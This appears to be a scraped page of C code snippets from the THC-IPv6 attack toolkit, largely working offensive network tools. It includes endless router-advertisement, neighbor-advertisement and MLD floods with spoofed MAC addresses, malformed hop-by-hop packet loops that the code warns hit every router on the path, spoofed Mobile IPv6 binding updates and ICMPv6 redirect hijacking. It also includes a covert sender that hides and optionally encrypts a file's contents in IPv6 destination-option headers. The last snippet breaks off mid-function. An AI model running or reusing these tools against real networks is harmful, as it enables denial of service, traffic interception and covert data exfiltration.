    if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *) &buf, 6 + 8) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    ipv6 = (thc_ipv6_hdr *) pkt;
    if (do_hdr_size != 0)
      ipv6->pkt[do_hdr_size + 40 + 1] = 2;
    else
      ipv6->pkt[14 + 40 + 1] = 2;
  }
  count++;

  if (test == count) {
    printf("Test %d: first ping fragment with hop-by-hop and router alert.\n", count);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    buf[0] = 5;
    buf[1] = 2;
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *) &buf, 6) < 0)
      return -1;
    if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, 0xfacebabe + getpid() + count))
      return -1;
    buf[0] = ICMP6_MLD_REPORT;
    buf[1] = 0;
    buf[2] = 0xb0;
    buf[3] = 0x0b;
    if (thc_add_data6(pkt, &pkt_len, NXT_ICMP6, buf, 14))
      return -1;
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
    ipv6 = (thc_ipv6_hdr *) pkt;
    if (do_hdr_size != 0)
      randptr = ipv6->pkt + do_hdr_size + 40 + 8 + 4;
    else
      randptr = ipv6->pkt + 14 + 40 + 8 + 4;
  }
  count++;

  if (test == count) {          // 1432
    printf("Test %d: large hop-by-hop header with filled with unknown options (no router alert).\n", count);
    printf("WARNING: this attack affects all routers on the network path to the target!!\n");
    sleep(3);
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    j = 0;
    i = 1;
    while (i <= 67) {
      k = (i % 63) + 1;
      buf[j] = k;
      switch (k) {
      case 38:                 // quickstart
        buf[j + 1] = 7;         // length
        buf[j + 2] = 1;         // request type + rate
        buf[j + 3] = 60;        //qs-ttl
        buf[j + 4] = 8;         // nonce
        j += 9;
        break;
      case 4:
        buf[j + 1] = 1;
        j += 3;
        break;
      case 0:
      case 5:
        buf[j] = 1;
        // fall through
      default:
        buf[j + 1] = 4;
        j += 6;
      }
//      j += buf[j + 1] + 2;
      i++;
    }
//    for (i = 1; i < 236; i++) {
//      buf[i * 6 - 2] = (i % 63) + 1;
//      buf[i * 6 - 1] = 4;
//    }
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, j) < 0)
      return -1;
    thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, bla, 8, 0);
    if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
      return -1;
  }
  count++;


  if (test == count) { // dummy entry
    // code
    fprintf(stderr, "to implement\n");
    exit(-1);
  }
  count++;


  /******************* END OF TESTCASE PREPARATION **************************/

  count = 0;
  while (1) {
    thc_send_pkt(interface, pkt, &pkt_len);
    usleep(1);
    count++;
    if (randptr != NULL)
      memcpy(randptr, (char*)&count + _TAKE4, 4);
    if (count % 1000 == 0)
      printf(".");
  }

  return 0;
}
コード例 #9
0
ファイル: fake_mipv6.c プロジェクト: mmoya/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  unsigned char *pkt1 = NULL;
  unsigned char *h = NULL, *ha = NULL, *coa = NULL, *mac = NULL;
  int pkt1_len = 0, rawmode = 0;
  unsigned int id = 2, i;
  char *interface;
  thc_ipv6_hdr *hdr;

  if (argc < 4 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  interface = argv[1];
  h = thc_resolve6(argv[2]);
  ha = thc_resolve6(argv[3]);
  coa = thc_resolve6(argv[4]);

  if (rawmode == 0 && (mac = thc_get_mac(interface, coa, ha)) == NULL) {
    fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]);
    exit(-1);
  }
  
  if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }

  for (i = 0; i < 4; i++) {
    memset(buf, 0, sizeof(buf));
    buf[0] = 1;
    buf[1] = 2;
    buf[4] = 201;
    buf[5] = 16;
    memcpy(&buf[6], h, 16);
    buf_len = 22;

    if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, coa, ha, 64, 0, 0, 0, 0)) == NULL)
      return -1;
    hdr = (thc_ipv6_hdr *) pkt1;
    hdr->original_src = h;
    if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, buf_len) < 0)
      return -1;
    memset(buf, 0, sizeof(buf));
    buf[0] = 59;
    buf[1] = 3;
    buf[2] = 5;
    buf[3] = 0;
    buf[6] = (id % 65536) / 256;
    buf[7] = id % 256;
    buf[8] = 192;
    buf[10] = 0xff;
    buf[11] = 0xff;
    buf[12] = 1;
    buf[14] = 3;
    buf[15] = 16;
    memcpy(&buf[16], coa, 16);
    buf_len = 32;
    if (thc_add_data6(pkt1, &pkt1_len, NXT_MIPV6, buf, buf_len) < 0)
      return -1;

    thc_generate_and_send_pkt(interface, NULL, mac, pkt1, &pkt1_len);

    id += 16384;
  }

  return 0;
}
コード例 #10
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
  unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)];
  unsigned char *dst = thc_resolve6("ff02::16"), *dstmac = thc_get_multicast_mac(dst);
  int i, j;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];

  mac[0] = 0x00;
  mac[1] = 0x18;
  ip6[9] = mac[1];
  memset(buf, 0, sizeof(buf));
  buf[0] = 5;
  buf[1] = 2;
  memset(buf2, 0, sizeof(buf2));
  for (i = 0; i < RECORD_NUMBER; i++) {
    buf2[0 + i * 36] = 3;       // CHANGE_TO_INCLUDE_MODE
    buf2[3 + i * 36] = 1;
    buf2[4 + i * 36] = 0xff;
    buf2[5 + i * 36] = 0x02;
    memcpy(buf2 + 20 + i * 36, ip6, 16);
  }

  printf("Starting to flood network with MLDv2 reports on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 0; i < 4; i++)
      mac[2 + i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];

    for (i = 0; i < RECORD_NUMBER; i++) {
      for (j = 0; j < 6; j++)
        buf2[14 + j + i * 36] = rand() % 256;
      memcpy(buf2 + 29 + i * 36, ip6 + 9, 7);
    }
    count++;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, sizeof(buf2), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
//      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
//      perror("");
//      return -1;
      printf("!");
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #11
0
ファイル: toobigsniff6.c プロジェクト: ming-hai/thc-ipv6
int main(int argc, char *argv[]) {
  char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4";
  int rawmode = 0, i;
  pcap_t *p;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "cr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      offset = 0;
      break;
    case 'c':
      loop = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 3)
    help(argv[0]);

  if (do_hdr_size)
    offset = do_hdr_size;

  interface = argv[optind];
  mac6 = thc_get_own_mac(interface);
  src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL);
  mtu = atoi(argv[optind + 2]);
  
  if (src6 == NULL || mac6 == NULL) {
    fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", interface);
    exit(-1);
  }

  if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') {
    ip6 = NULL;
  } else {
    ip6 = thc_resolve6(argv[optind + 1]);
    if (ip6 == NULL) {
      fprintf(stderr, "Error: target address is invalid: %s\n", argv[optind + 1]);
      exit(-1);
    }
  }

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  printf("Watching for %s from %s (Press Control-C to end) ...\n", loop == 0 ? "a packet" : "packets", argv[optind + 1]);

  do {
    thc_pcap_check(p, (char *) send_toobig, NULL);
    usleep(25);
  } while (go);

  thc_pcap_close(p);
  return 0;
}
コード例 #12
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6;
  unsigned char buf[24];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int i;
  unsigned char *pkt = NULL;
  int pkt_len = 0, flags, rawmode = 0, count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];

  ip6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  memset(buf, 0, sizeof(buf));
  buf[16] = 2;
  buf[17] = 1;
  buf[18] = mac[0];
  buf[19] = mac[1];
  memcpy(buf, ip6, 16);

  printf("Starting to flood network with neighbor advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];

    count++;
    memcpy(buf + 10, ip6 + 10, 6);
    memcpy(&buf[20], mac + 2, 4);
    flags = ICMP6_NEIGHBORADV_OVERRIDE;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, sizeof(buf), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
      perror("");
      return -1;
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #13
0
ファイル: redir6.c プロジェクト: Chewlee/thc-ipv6
int main(int argc, char *argv[]) {
    unsigned char *pkt = NULL, buf[16], mac[16] = "";
    unsigned char *mac6 = mac, *src6, *target6, *oldrouter6, *newrouter6, *self6, *fakemac;
    thc_ipv6_hdr *ipv6;
    char *interface;
    int pkt_len, rawmode = 0, ttl = 64, offset = 14;

    if (argc < 6 || strncmp(argv[1], "-h", 2) == 0)
        help(argv[0]);

    if (strcmp(argv[1], "-r") == 0) {
        thc_ipv6_rawmode(1);
        rawmode = 1;
        argv++;
        argc--;
    }

    if (do_hdr_size)
        offset = do_hdr_size;
    interface = argv[1];
    src6 = thc_resolve6(argv[2]);
    target6 = thc_resolve6(argv[3]);
    oldrouter6 = thc_resolve6(argv[4]);
    if ((newrouter6 = thc_resolve6(argv[5])) == NULL) {
        fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[5]);
        exit(-1);
    }

    if (thc_get_own_mac(interface) == NULL) {
        fprintf(stderr, "Error: invalid interface %s\n", interface);
        exit(-1);
    }
    /* Spoof source mac */
    if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) {
        fprintf(stderr, "Error: could not get own IP address to contact original-router\n");
        exit(-1);
    }
    if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) {
        fprintf(stderr, "Error: could not resolve mac address for original-router\n");
        free(self6);
        exit(-1);
    }

    if (rawmode == 0) {
        if (argc >= 7)
            sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
                   (unsigned int *) &mac[5]);
        else
            mac6 = thc_get_own_mac(interface);
    }

    if (argc >= 8)
        ttl = atoi(argv[7]);
    if (ttl <= 0 || ttl > 255)
        ttl = 64;

    memset(buf, 'A', 16);

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, target6, src6, 0, 0, 0, 0, 0)) == NULL)
        return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &buf, 16, 0) < 0)
        return -1;
    if (thc_generate_and_send_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) {
        fprintf(stderr, "Error: Can not send packet, exiting ...\n");
        exit(-1);
    }

    usleep(25000);
    ipv6 = (thc_ipv6_hdr *) pkt;
    thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset);
    ipv6->pkt[offset + 7] = (unsigned char) ttl;

    thc_redir6(interface, oldrouter6, fakemac, NULL, newrouter6, mac6, ipv6->pkt + 14, ipv6->pkt_len - 14);
    printf("Sent ICMPv6 redirect for %s\n", argv[3]);

    free(self6);
    free(fakemac);

    return 0;
}
コード例 #14
0
int main(int argc, char *argv[]) {
  int rawmode = 0, offset = 14;
  char string[256] = "ip6";

  if (argc < 5 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  if (do_hdr_size)
    offset = do_hdr_size;
  interface = argv[1];
  if ((src6 = thc_resolve6(argv[2])) == NULL) {
    if (strcmp(argv[2], "*") != 0) {
      fprintf(stderr, "Error: victim-ip is not a valid IPv6 address or '*': %s\n", argv[2]);
      exit(-1);
    }
  }
  if ((dest6 = thc_resolve6(argv[3])) == NULL) {
    if (strcmp(argv[3], "*") != 0) {
      fprintf(stderr, "Error: destination-ip is not a valid IPv6 address or '*': %s\n", argv[3]);
      exit(-1);
    }
  }

  if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) {
    fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", argv[4]);
    exit(-1);
  }

  if (argc >= 6) {
    if ((newrouter6 = thc_resolve6(argv[5])) == NULL) {
      fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", argv[5]);
      exit(-1);
    }
  } else
    newrouter6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
    
  /* Spoof source mac */
  if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) {
    fprintf(stderr, "Error: could not get own IP address to contact original-router\n");
    exit(-1);
  }
  if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) {
    fprintf(stderr, "Error: could not resolve mac address for original-router\n");
    free(self6);
    exit(-1);
  }

  mac6 = mac;
  if (argc >= 7)
    sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);
  realownmac = thc_get_own_mac(interface);

  if (src6 != NULL) {
    strcat(string, " and src ");
    strcat(string, thc_ipv62notation(src6));
  }
  if (dest6 != NULL) {
    strcat(string, " and dst ");
    strcat(string, thc_ipv62notation(dest6));
  }

  printf("Starting sniffer to get traffic to be redirected (press Control-C to end) ...\n");
  return thc_pcap_function(interface, string, (char *) intercept, 1, NULL);
}
コード例 #15
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[56], buf2[6], buf3[1504];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int size, mtu, i, type = NXT_ICMP6;
  unsigned char *pkt = NULL;
  int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0;
  thc_ipv6_hdr *hdr = NULL;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "DFHr")) >= 0) {
    switch (i) {
    case 'r':
      thc_ipv6_rawmode(1);
      rawmode = 1;
      break;
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 1)
    help(argv[0]);


  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[optind];
  mtu = 1500;
  size = 64;
  ip6 = malloc(16);
  routerip6 = malloc(16);
  route6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  routerip6[0] = 0x2a;
  routerip6[1] = 0x01;
  routerip6[15] = 0x01;
  memset(route6 + 8, 0, 8);

  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  memset(buf, 0, sizeof(buf));
  buf[1] = 250;
  buf[5] = 30;
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;
  buf[19] = 128 + 64 + 32;
  memset(&buf[20], 255, 8);
  buf[48] = 1;
  buf[49] = 1;

  printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;
    for (i = 2; i < 8; i++)
      routerip6[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    memcpy(route6, routerip6, 8);
    memcpy(&buf[32], route6, 16);
    memcpy(&buf[50], mac6, 6);

    count++;

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (do_hop) {
      type = NXT_HBH;
      if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
        return -1;
    }
    if (do_frag) {
      if (type == NXT_ICMP6)
        type = NXT_FRAG;
      for (i = 0; i < do_frag; i++)
        if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
          return -1;
    }
    if (do_dst) {
      if (type == NXT_ICMP6)
        type = NXT_DST;
      if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
        return -1;
    }
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
      return -1;
    if (do_dst) {
      thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
      hdr = (thc_ipv6_hdr *) pkt;
      thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + 14, hdr->pkt_len - 40 - 14, 1240);
    } else {
      if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
        fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
        perror("");
        return -1;
      }
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}
コード例 #16
0
int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0");
  unsigned char buf[6];
  unsigned char *dst = thc_resolve6("ff02::6a"), *dstmac = thc_get_multicast_mac(dst);
  int i;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];
  if (thc_get_own_mac(interface) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc > 2)
    if ((dst = thc_resolve6(argv[2])) == NULL) {
      fprintf(stderr, "Error: can not resolve %s\n", argv[2]);
      exit(-1);
    }

  memset(buf, 0, sizeof(buf));
  mac[0] = 0x00;
  mac[1] = 0x18;
  ip6[9] = mac[1];

  printf("Starting to flood network with MLD router advertisements on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface);
  while (1) {

    for (i = 0; i < 4; i++)
      mac[2 + i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    count++;

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 1, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 0, 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
//      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
//      perror("");
//      return -1;
      printf("!");
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 1000 == 0)
      printf(".");
  }
  return 0;
}
コード例 #17
0
ファイル: covert_send6.c プロジェクト: mmoya/pkg-thc-ipv6
int main(int argc, char *argv[]) {
  unsigned char *pkt1 = NULL, rbuf[3570], wbuf[3570], buf[4000];
  unsigned char *src6 = NULL, *dst6 = NULL, srcmac[6] = "", *mac = srcmac, *dmac;
  int pkt1_len = 0, flags = 0, i = 0, mtu = 0, bytes, seq = 0, id, rounds, wbytes, bufsize = 0, send = 2, num = 0;
  char *interface, *key = NULL, hash[20], vec[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };;
  int rawmode = 0, tcp_port = -1;
  FILE *f;
  BF_KEY bfkey;

  if (argc < 4 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "rm:k:s:")) >= 0) {
    switch (i) {
    case 'r':
      rawmode = 1;
      thc_ipv6_rawmode(1);
      break;
    case 'k':
      key = optarg;
      break;
    case 'm':
      mtu = atoi(optarg);
      break;
    case 's':
      send = atoi(optarg);
      break;
    default:
      exit(-1);
    }
  }

  if (argc < optind + 2) {
    fprintf(stderr, "Error: Not enough parameters!\n");
    help(argv[0]);
  }

  interface = argv[optind];
  dst6 = thc_resolve6(argv[optind + 1]);
  if ((f = fopen(argv[optind + 2], "r")) == NULL) {
    fprintf(stderr, "Error: file %s not found\n", argv[optind + 2]);
    exit(-1);
  }
  if (argc >= optind + 4 && argv[optind + 3] != NULL)
    tcp_port = atoi(argv[optind + 3]);

  if (mtu == 0)
    mtu = thc_get_mtu(interface);
  if (mtu <= 1000) {
    fprintf(stderr, "Error: MTU of interface %s must be at least 1000 bytes\n", interface);
    exit(-1);
  }
  mac = thc_get_own_mac(interface);
  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((dmac = thc_get_mac(interface, src6, dst6)) == NULL) {
    fprintf(stderr, "Error: can not get MAC for target\n");
    exit(-1);
  }
  srand(getpid());
  mtu -= 128;
  if (mtu % 255 == 0)
    i = 2 * (mtu / 255);
  else
    i = 2 + 2 * (mtu / 255);
  mtu = mtu - i;
  if ((mtu + i + 14) % 8 > 0)
    mtu = (((mtu + i + 14) / 8) * 8) - (i + 14);
  if (mtu > 14 * 255)
    mtu = 14 * 255;
  if (key != NULL) {
    memset(&bfkey, 0, sizeof(bfkey));
    SHA1((unsigned char *) key, strlen(key), (unsigned char *) hash);
    BF_set_key(&bfkey, sizeof(hash), (unsigned char *) hash);
    memset(vec, 0, sizeof(vec));
    num = 0;
  }

  id = rand();
  buf[0] = 16;
  buf[1] = 4;
  memcpy(buf + 2, (char *) &id, 4);
  buf[6] = 17;
  buf[7] = 4;

  while ((bytes = fread(rbuf, 1, mtu, f)) > 0) {
    seq++;
    if (key != NULL) {
      BF_cfb64_encrypt((unsigned char *) rbuf, (unsigned char *) wbuf, bytes, &bfkey, (unsigned char *) vec, &num, BF_ENCRYPT);
      memcpy(rbuf, wbuf, bytes);
    }
    memcpy(buf + 8, (char *) &seq, 4);
    bufsize = 12;
    rounds = bytes / 255;
    for (i = 0; i <= rounds; i++) {
      buf[bufsize] = i + 18;
      if (i == rounds)
        wbytes = bytes % 255;
      else
        wbytes = 255;
      buf[bufsize + 1] = wbytes;
      memcpy(buf + bufsize + 2, rbuf + 255 * i, wbytes);
      bufsize += wbytes + 2;
    }
    if (bytes < mtu) {
      buf[bufsize] = 0x1f;
      buf[bufsize + 1] = 0;
      bufsize = bufsize + 2;
    }

    if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, bufsize))
      return -1;
    if (tcp_port == -1) {
      if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, NULL, 0, 0) < 0)
        return -1;
    } else {
      if (thc_add_tcp(pkt1, &pkt1_len, (rand() % 45536) + 10000, tcp_port, rand(), 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0)
        return -1;
    }
    if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) {
      fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
      exit(-1);
    }
    printf("Sending packet seq# %d\n", seq);
    for (i = 0; i < send; i++) {
      thc_send_pkt(interface, pkt1, &pkt1_len);
      usleep(100);
    }
  }
  printf("All sent.\n");
  return 0;
}
コード例 #18
0
ファイル: exploit6.c プロジェクト: 0x0mar/thc-ipv6
int main(int argc, char *argv[]) {
  int test = 0, count = 1, tmplen;
  unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src ";
  unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal;
  unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6];
  thc_ipv6_hdr *hdr;
  int i = 0, j, srcmtu, fragsize, offset = 14;
  pcap_t *p;
  unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL;
  int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500;
  char *interface;
  thc_ipv6_hdr *ipv6;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }
  if (strcmp(argv[1], "-p") == 0) {
    noping = 1;
    argv++;
    argc--;
  }
  
  if (do_hdr_size)
    offset = do_hdr_size;

  interface = argv[1];
  dst6 = thc_resolve6(argv[2]);
  route6 = thc_resolve6("2a01::");
  memcpy(ldst6, dst6, 16);
  memset(ldst6 + 2, 0, 6);
  ldst6[0] = 0xfe;
  ldst6[1] = 0x80;
  mcast6 = thc_resolve6("ff02::1");
  if (argc >= 4)
    test = atoi(argv[3]);
  memset(buf, 0, sizeof(buf));
  memset(null_buffer, 0, sizeof(null_buffer));

  src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL);
  if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  strcat(string, thc_ipv62notation(src6));
  strcat(string2, thc_ipv62notation(dst6));
  srcmac = thc_get_own_mac(interface);
  if (rawmode == 0) {
